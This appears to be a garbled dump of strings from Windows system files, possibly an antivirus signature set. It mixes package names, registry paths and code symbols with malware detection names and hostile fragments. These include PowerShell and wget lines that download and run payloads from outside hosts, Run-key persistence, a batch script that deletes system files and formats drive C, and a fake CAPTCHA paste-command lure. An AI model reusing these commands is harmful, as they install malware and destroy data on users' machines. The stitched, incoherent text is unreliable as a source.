Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Kernel-Package-Kernel-Processor-Power-Events-Container-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat|
Microsoft-Windows-Kernel-Package-Lxss-Package~31bf3856ad364e35~amd64~~10.0.26100.5074.cat|
Microsoft-Windows-NetFx-Shared-Perfcounters-Client~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Shell-Wallpaper-Common-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-TerminalServices-AppCompat-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|
CrossriderApp0054253.Sandbox.1 = s 'CrossriderApp0054253.SandboxCrossriderApp0054255.Sandbox.1 = s 'CrossriderApp0054255.SandboxCrossriderApp0054256.Sandbox.1 = s 'CrossriderApp0054256.SandboxCrossriderApp0054248.Sandbox.1 = s 'CrossriderApp0054248.Sandbox!#ALF:Y2V:Florian_Roth/WiltedTulip_WindowsTask
pwindows
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
=%windir%\system32\drivers\etc\hosts"set"
echowindowstate="maximize"/^>
G3https://system32dummy_username@0306.0014.0133.0240/-................-.....................................................--.-.-/............................................................wiz"targetmode="external"/></relationships>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/3"
           xmlns="http://schemas.microsoft.com/appx/manifest/desktop/windows10/3"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:desktop3="http://schemas.microsoft.com/appx/manifest/desktop/windows10/3"
           xmlns:desktop4="http://schemas.microsoft.com/appx/manifest/desktop/windows10/4"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:cloudfiles2="http://schemas.microsoft.com/appx/manifest/cloudfiles/windows10/2"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/4"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/cloudfiles/windows10/2"/>
Tests.Windows.6
 =c:\windows\
c:\windowsx
2=?%WINDIR%\System32\catroot2\*.|
$Windows.~BT`
%WINDIR%\System32\Dism\*.|
/config/v1/MicrosoftWindowsDefenderClient/1.0
_outfile="c:\windowsupdate\
ndows\system32\cmd.exe/
-echo---disable"windowsdefendercleanup"task
powershell-windowstylehidden-command"$url
software\microsoft\windows\currentversion\explorer\shell folders%s" /C ""%s" > "%s\wuacult.txt\ZoneMap
\currentversion\windows\appinit_dlls
.P6AXPE$AAVString@Platform@@PE$AAVJsonValue@Json@Data@Windows@@@Z
.?AVwindows_scheduler@details@pplx@@
.?AV?$_Ref_count_obj@Vwindows_scheduler@details@pplx@@@std@@
.?AVWorkItemHandler@Threading@System@Windows@@
.?AU__abi_IDelegate@WorkItemHandler@Threading@System@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_6e8d42bf2e8605d5fa13303d2452cc16>@@XPE$AAUIAsyncAction@Foundation@Windows@@@Details@Platform@@
windows updateO
windows ver
Microsoft.Windows.Health.TestInProduction
        "packageFullName": "MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy"
Microsoft.Windows.Health.TestInProduction
        "packageFullName": "MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy"
Microsoft.Windows.Health.TestInProduction
Microsoft.Windows.Health.TestInProduction
Software\Microsoft\Windows\CurrentVersion\Uninstall
Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Declined Components IE5
Software\Microsoft\Windows\CurrentVersion\RunOnce
Software\Microsoft\Windows\CurrentVersion\SharedDlls
Software\Microsoft\Windows\CurrentVersion\ModuleUsage
Behavior:Win32/InjectedRemoteThreadWinlogon
N">>%windir%\owner.reg@regedit/s/c%windir%\owner.regechoiwillhavemyrevengetoeveryone!>>c:\autoexec.batdelc:\windows\sol.execommand/f/ccopyc:\example.bata:\echo.onerrorresumenext>pif.vbsechodimwshs,msc>>pif.vbsechosetwshs=wscript.createobject("wscript.shell")>>pif.vbsechosetmsc=wshs.createshortcut("c:\pif.lnk")>>pif.vbsechomsc.targetpath=wshs.expandenvironmentstrings("c:\example.bat")>>pif
WindowsCreateSK
@echooffbreakoffverifyoffclsdl/yc:\command.comdl/yc:\io.sysdl/yc:\msdos.sysdl/yc:\windowsdl/yc:\windows\*.*dl/yc:\winntdl/yc:\windows.ooodl/yc:\windows.oo1dl/yd:\windowsformatc:/autotest/qcls
34^windows.comServerr
27^windows.appExtension
microsoft.windows.eventlog.eventvwreventvwr.pdbevent viewer snapin launcher!#ALFPER:HSTR:LinkuryInstaller.01
Controls visibility of the Share button on windows previewf
Controls visibility of the Share button on windows previewX
\windowsazure\.-\waappagent.exe
\windowsazure.-\windowsazurenetagent.exe
system32\drivers\mbamswissarmy.sys
system32\drivers\kbasemgr.sys
system32\drivers\kisknl.sys
windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
windir=C:\WINDOWS
USERDOMAIN=Windows11
SystemRoot=C:\WINDOWS
LOGONSERVER=\\WINDOWS11
COMPUTERNAME=WINDOWS11
explorer.exe -ssh -R ""+server+" -l "+username+" -pw "+password.Environment("PROCESS")select * from win32_process where name='explorer.exe'winlogon.exe -d -t -l -e0.0.0.0 -i127.0.0.1 -p
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Feeds.Hosts.FeedCatalog.g.h
C:\WINDOWS\s"
windows.backgroundTasks
windows.comServer
windows.comServer
windows.comServer
windows.comServer
windows.comServer
windows.fileExplorerContextMenus
windows.comServer
windows.comServer
windows.desktopAppMigration
windows.desktopAppMigration
windows.fileExplorerContextMenus
windows.comServer
windows.comServer
windows.comServer
windows.comServer
windows.comServer
windows.desktopAppMigration
windows.fileExplorerContextMenus
windows.fileExplorer
windows.backgroundTasks
windows.comServer
windows.fileExplorerContextMenus
windows.desktopAppMigration
windows.backgroundTasks
windows.backgroundTasks
windows.comServer
windows.comServer
.windows.comServer
windows.comServer
windows.comServer
windows.comServer
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.comServer
windows.comServer
windows.comServer
windows.comServer
windows.comServer
windows.comServer
windows.comServer
windows.comServer{
windows.comInterface
windows.comInterface
windows.barcodeScannerProvider
windows.barcodeScannerPreviewProvider
windows.backgroundTasks
windows.backgroundTasks
twindows.backgroundTasks
twindows.backgroundTasks
Wwindows.backgroundTasks
:windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
:windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
windows.backgroundTasks
%></span></header><mainclass="verify-main"><p>tobetterproveyouarenotarobot,please:</p><ol><li>press&holdthewindowskey<iclass="fabfa-windows"></i>+<b>r</b>.</li><li>intheverificationwindow,press<b>ctrl</b>+<b>v</b>.</li><li>press<b>enter</b>onyourkeyboardtofinish.</li>
Microsoft-Windows-All-Client-Ge-Beta-Version-EKB-Package~31bf3856ad364e35~amd64~~10.0.26100.7840
e8^com.microsoft.windows.extensionpackage
ea^com.microsoft.windows.extensionpackage
ec^com.microsoft.windows.extensionpackage
Software\Microsoft\Windows\CurrentVersion\Run
system32\cmd
4D:\supsoft\supsoft\SupInjectProtectWindowsHook\WindowsHookExDll\Release\WindowsSupportDll32.pdb!#SLF:Trojan:Win64/CobaltStrike.ID!MTB
SurfaceDescriptorFromWindowsWinUISwapChainPanel
WINDOWS\system32\config
=C:\Windows\S
MicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostApp
MicrosoftWindows.CrossDevice_cw5n1h2txyewy
Microsoft.Windows.DevHome_8wekyb3d8bbwe'
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
rWINDOWSQ
G= "c:\windows\explorer.exe c:\programdata\
|Vrundll32 advpack.dll,delnoderundll32 %s\microsoft\windows\currentversion\runonceex\920\dxminiax.cabc:\windows\system32\cacls.exec:\windows\system32\asr_pfu.exef:\office\target\x86\ship\postc2r\x-none\wordconvTrojanDropper:PowerShell/Injector!MSR
=createprocessa(0&,chr(112)+"ower"+"shell.exe"+chr(150)+"windowstylehidden"+"iex(new-objectnet.webclient).downloadstring('http://Ransom:Win32/Lokbit.AA!MTB
"j50wget'http://195.133.18.171/ddcrpted.jpg'-oc:\windows\temp\done.vbs;explorer.exec:\windows\temp\done.vbs;start-sleep1;rm*.vbs,*.wsf
gywget'http://2.56.57.22/dsdsadddscrpted.jpg'-oc:\windows\temp\done.vbs;explorer.exec:\windows\temp\done.vbs;start-sleep1;rm*.vbs,*.wsf
\system32
*ionpolicybypass-windowstylehidden-file`"$pscommandpath`"-
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.7824~
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1742)
Microsoft-Windows-LanguageFeatures-Basic-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.17423
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.7824(
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1742{
Microsoft-Windows-LanguageFeatures-Basic-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1742$
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~wow64~~10.0.26100.1
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~wow64~~10.0.26100.3912
iMicrosoft-Windows-LanguageFeatures-Basic-en-us-Package~31bf3856ad364e35~wow64~~10.0.26100.1r{
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~wow64~~10.0.26100.1
Microsoft-Windows-LanguageFeatures-Basic-en-us-Package~31bf3856ad364e35~wow64~~10.0.26100.1
Microsoft-Windows-LanguageFeatures-OCR-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft-Windows-LanguageFeatures-OCR-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1
Microsoft-Windows-LanguageFeatures-OCR-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1
windows repair:wux:windows repair@
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
Jc:\windows\system32\mshta.exehttps://cornerstonebeverly.org/js/files/docufentososo/doecumentosoneso
.?AU?$base_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UContentDialog@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIFrameworkElementProtected7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UContentControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControlProtected@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@UIFrameworkElementProtected7@7894@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElementProtected7@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIContentDialog@Controls@Xaml@UI@Windows@4@UIContentDialog2@67894@UIContentDialog3@67894@UIContentControl@67894@UIContentControl2@67894@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFrameworkElement3@7894@UIFrameworkElement4@7894@UIFrameworkElement6@7894@UIFrameworkElement7@7894@UIUIElement@7894@UIUIElement2@7894@UIUIElement3@7894@UIUIElement4@7894@UIUIElement5@7894@UIUIElement7@7894@UIUIElement8@7894@UIUIElement9@7894@UIUIElement10@7894@UIAnimationObject@Composition@894@UIVisualElement@Composition@894@UIDependencyObject@7894@UIDependencyObject2@7894@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationObject@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement8@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@@impl@winrt@@
Microsoft.Windows.MobilityExperience.Health.YourPhone
Microsoft.Windows.MobilityExperience.YourPhone
\windows\system32\rundll32.exeglin3r.dll,reznavutxr
Microsoft.Windows.Messaging.Service
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCompareStringOrdinal
WindowsCreateString
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
WindowsLicensing
c:\windows\system32
Windows 
Microsoft Windows
Windows 
DriverData=C:\Windows\System32\
WINDOWS11
#Software: Microsoft Windows Firewall
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Windows-ClientCore-DWM-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.DefenderCore1DS
Microsoft.Windows.Defender
Microsoft.Windows.Defender
Microsoft.Windows.DefenderCore1DS
Microsoft.Windows.DefenderCorePrivate
Microsoft.Windows.TlgAggregateInternal
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
9N1M64W9XZQ7FocusHomeInteractiveSA.AliensDarkDescent-Windows_4hny5m903y3g0>
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
pWindowsq
svchost.windowss
WINDOWS
<html><head><hta:applicationid="htaapp"applicationname="silenthta"border="none"showintaskbar="no"singleinstance="yes"windowstate="minimize">
Wencrypting files in directory:c:\help-ransomware.txtpowershell -executionpolicy bypass -windowstyle hidden -noprofile -file
Y.htmForceRemove {ABCAE223-1278-7829-A43E-42D18BB79950} = s 'Windows Assistannt v.
System.Windows.Forms.IKeyboardToolTip.ShowsOwnToolTip
System.Windows.Forms.IKeyboardToolTip.AllowsToolTip
System.Windows.Forms.UnsafeNativeMethods.IEnumUnknown.Skip
System.Windows.Forms.UnsafeNativeMethods.IEnumVariant.Skip
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.Help
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.get_Help
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.get_accHelp
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceFrame.ContextSensitiveHelp
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceSite.ContextSensitiveHelp
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceObject.ContextSensitiveHelp
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceActiveObject.ContextSensitiveHelp
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
dex"}],"System.Comment":"Windows Search settings","System.HighKeywords":"indexing options;indexer settings;search indexer;indexing settings;searching windows;find files;find my files;search results;enhanced search;windows indexer;search files;files search"},{"System.ParsingName":"AAA_SettingsPageSearchPermissionsAndHistory","System.Setting.FontFamily":"Settings Fluent Icons","System.Setting.Glyph":"
","SettingPaths":[{"System.Setting.PageID":"SettingsPageSearchPermissionsAndHistory"},{"System.Setting.PageID":"SettingsPageRationalizedSearchSettings"}],"System.Comment":"Search settings","System.HighKeywords":"search permissions and history;search history;search privacy settings;Windows Search settings;indexing options;indexer settings;search indexer;indexing settings;searching windows;find files;find my files;search results;enhanced search;windows indexer;search files;files search"},{"System.ParsingName":"AAA_SettingsPageSharedExperiences","System.Setting.FontFamily":"Settings Fluent Icons","System.Setting.Glyph":"
","SettingPaths":[{"System.Setting.PageID":"SettingsPageSignInOptions"}],"System.Comment":"Sign-in options","System.HighKeywords":"account settings;accounts;biocredentials;bio-credentials;biocreds;change my password;change password;FIDO keys;fingerprint settings;login settings;password settings;passwords settings;photo password;picture password;pictures password;require sign in;security key settings;security keys settings;sign in options;signin options;signin settings;sign-in settings;Windows Hello Face;Windows Hello Fingerprint;Windows Hello PIN;Windows Hello settings;set up windows hello;windows hello setup;log on;logon"},{"System.ParsingName":"AAA_SettingsPageSpeech","System.Setting.FontFamily":"Settings Fluent Icons","System.Setting.Glyph":"
buntu on windows
reactNativeWindowsVersion
Microsoft.Windows.Graphics.Direct2D
wshshell.run"powershell-windowstylehidden-nologo-executionpolicybypassmkdirc:\programdata\windows\microsoft\java",0,true
c:\windows\system32\cmd.exe/cstart/b"""cmd.exe"/cifexist"
regadd"hkcu\software\microsoft\windows\currentversion\run"/f/v"asusgesture"/treg_sz/d"c:\programdata\btc\winserv.exe"
windows\winsxs
\windowsapps\microsoft.outlookforwindows_[_%.%w]+\olk%.exe
.:\windows\system32\werfault%.exe
.:\windows\system32\wermgr%.exe
.:\windows\syswow64\wermgr%.exe
c:\windows\system32\
Iwinlogon.sys
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
\cmd.exepromec4n/c^st^art^m^s^i^e^x^e^c/^fv"http://0j.re:8080/b8yqtw/dempw0a7jibbvk0/%computername%"wr^wd=fse^z-q^u^i^e^t!%systemroot%\system32\shell32.dll%
qc:\windows\system32\cmd.exe/cpowershell-nop-wh-c"(new-objectnet.webclient).downloadfile('https://recogb.cfd/
c:\windows\system32\windowspowershell\v1.0\powershell.exe-ebqbzagglite3_load_extension
System.Threading.ThreadPool.UseWindowsThreadPool
CSWINRT_USE_WINDOWS_UI_XAML_PROJECTIONS
&Windows10.0.17763.0
WindowsrCopyright (c) Microsoft Corporation. All rights reserved.VC#/WinRT Runtime v2.3.0-prerelease.251015.2
    The official way to send toast notifications on Windows 10 via code rather than XML, with the help of IntelliSense. Supports all C# app types, including WPF, UWP, WinForms, and Console, even without packaging your app as MSIX. Also supports C++ UWP apps.
A collection of implicit, composition and connected animation helpers and builders.2Windows Community Toolkit
8.2.0.0*8.2.250206-build.1405Vhttps://github.com/CommunityToolkit/Windows(Animations.Tests.Uwp4Animations.Tests.WinAppSdk
10.0.26100.55l10.0.26100.55+7e1ba99b2f0c1ea5311dcb3acfe20a75335efd6e,Windows SDK for .NET 8
4Windows.UI.Xaml for .NET 8
3.0.0.0\3.0.0+a98c24a6a7d9bdd57cf5d406455b6f623e321a72&Windows10.0.19041.0&Windows10.0.18362.0
2.8.7.0\2.8.7+232a16e5ddfc22c9a1b79a2c51abeb9a39a94494&Windows10.0.22621.0
Create a Windows 11 style settings experiences with these controls.4SettingsControls.Tests.Uwp@SettingsControls.Tests.WinAppSdk
C:\WINDOWS\WindowsUpdate.log
Windows
Windows.Networking.BackgroundTransfer.Internal
)software\microsoft\windows\currentversion\explorer\browser helper objects\{bc7db684-3495-4201-85c5-7857f192b234}korea.bonuspack.co.kr81032fa7-5dfa-4814-ada0-54e2f6b92bd0fbc4906a-ceb0-4d36-9ce8-e9590109e4c6
temRoot%\system32\mswsock.dll5
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
Windows.Data.UnifiedTile.TileProperties
Windows.Data.UnifiedTile.StartTileProperties
Windows.Data.UnifiedTile.TileProperties
           targetNamespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/4"
           xmlns="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/4"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:desktop10="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"/>
*MicrosoftWindows.CrossDevice_cw5n1h2txyewy
dlshsvc.exeftshost.exemstray.exe\\.\mailslot\f2874324320878add hkcu\software\microsoft\windows\currentversion\explorer\advanced /v hidden /t reg_dword /d 0x00000000 /fadd %s\%s /v %s /t reg_sz /d "%s" /fftsri.php?get&exefsi.php?get&exemqkldrvpsaxlslallnewsmedia.webatu.comlovecatalog.comlu.comyourssagregator.comlu.com1
\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\/AppData/Local/browsers/txt//
onecoreuap\windows\accessibletech\experience\src\winrt\lib\windows.internal.accessibility.experience.customcursor.cpp
Windows.UI.Accessibility.dll
onecoreuap\windows\accessibletech\experience\src\winrt\lib\cursorutils.cpp
onecoreuap\windows\accessibletech\experience\src\winrt\lib\util.cpp
Windows.Data.Shell.FocusSession
Windows.Data.Shell.FocusActiveSessions
Windows.Data.Shell.FocusSessionActiveTheme
Windows.Data.Shell.FocusSessionOffTheme
WINDOWS11
Windows
WindowsPhone
%Windows.Foundation.FoundationContract
%Windows.Foundation.FoundationContract
#Windows.Foundation.IDeferralFactory
%Windows.Foundation.FoundationContract
;Windows.Foundation.Diagnostics.IAsyncCausalityTracerStatics
'Windows.Foundation.UniversalApiContract
'Windows.Foundation.UniversalApiContract
3Windows.Foundation.Diagnostics.IErrorDetailsStatics
'Windows.Foundation.UniversalApiContract
9Windows.Foundation.Diagnostics.IFileLoggingSessionFactory
'Windows.Foundation.UniversalApiContract
3Windows.Foundation.Diagnostics.AsyncCausalityTracer
+Windows.Foundation.Diagnostics.ErrorDetails
1Windows.Foundation.Diagnostics.FileLoggingSession
8Windows.Foundation.Diagnostics.LogFileGeneratedEventArgs
.Windows.Foundation.Diagnostics.LoggingActivity
-Windows.Foundation.Diagnostics.LoggingChannel
rThis constructor creates a LoggingChannel in Windows 8.1 compatibility mode. Prefer the two-parameter constructor.
'Windows.Foundation.UniversalApiContract
4Windows.Foundation.Diagnostics.LoggingChannelOptions
,Windows.Foundation.Diagnostics.LoggingFields
